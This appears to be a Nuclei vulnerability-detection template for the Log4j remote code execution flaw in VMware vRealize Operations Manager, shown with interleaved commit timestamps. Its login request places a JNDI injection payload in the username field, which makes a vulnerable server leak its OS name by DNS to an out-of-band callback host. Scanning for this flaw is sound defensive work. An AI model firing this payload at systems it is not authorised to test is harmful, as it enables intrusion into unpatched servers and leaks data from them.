2022-08-03 13:17:13 +00:00
id : vmware-operation-manager-log4j
info :
2022-10-10 19:22:59 +00:00
name : VMware Operations Manager - Remote Code Execution (Apache Log4j)
2022-08-03 13:17:13 +00:00
author : DhiyaneshDK
severity : critical
2022-10-10 19:22:59 +00:00
description : VMware Operations Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2022-08-03 13:17:13 +00:00
reference :
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
2022-08-10 16:37:38 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-10 19:51:42 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:51:42 +00:00
cve-id : CVE-2021-44228
2022-10-10 20:06:39 +00:00
cwe-id : CWE-917
2022-08-03 13:17:13 +00:00
metadata :
shodan-query : title:"vRealize Operations Manager"
2022-10-12 10:44:42 +00:00
verified : "true"
2022-10-12 09:31:48 +00:00
tags : cve,cve2021,rce,jndi,log4j,vmware,kev,oast
2022-08-03 13:17:13 +00:00
requests :
- raw :
- |
POST /ui/login.action HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Origin : {{BaseURL}}
Referer : {{BaseURL}}/ui/login.action
Sec-Fetch-Dest : empty
Sec-Fetch-Mode : cors
Sec-Fetch-Site : same-origin
mainAction=login&userName=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin&authSourceId=localItem&authSourceName=Local%20Users&authSourceType=LOCAL&forceLogin=&timezone=330&languageCode=us
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
- type : regex
part : interactsh_request
group : 1
regex :
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
2022-10-10 19:22:59 +00:00
# Enhanced by md on 2022/10/06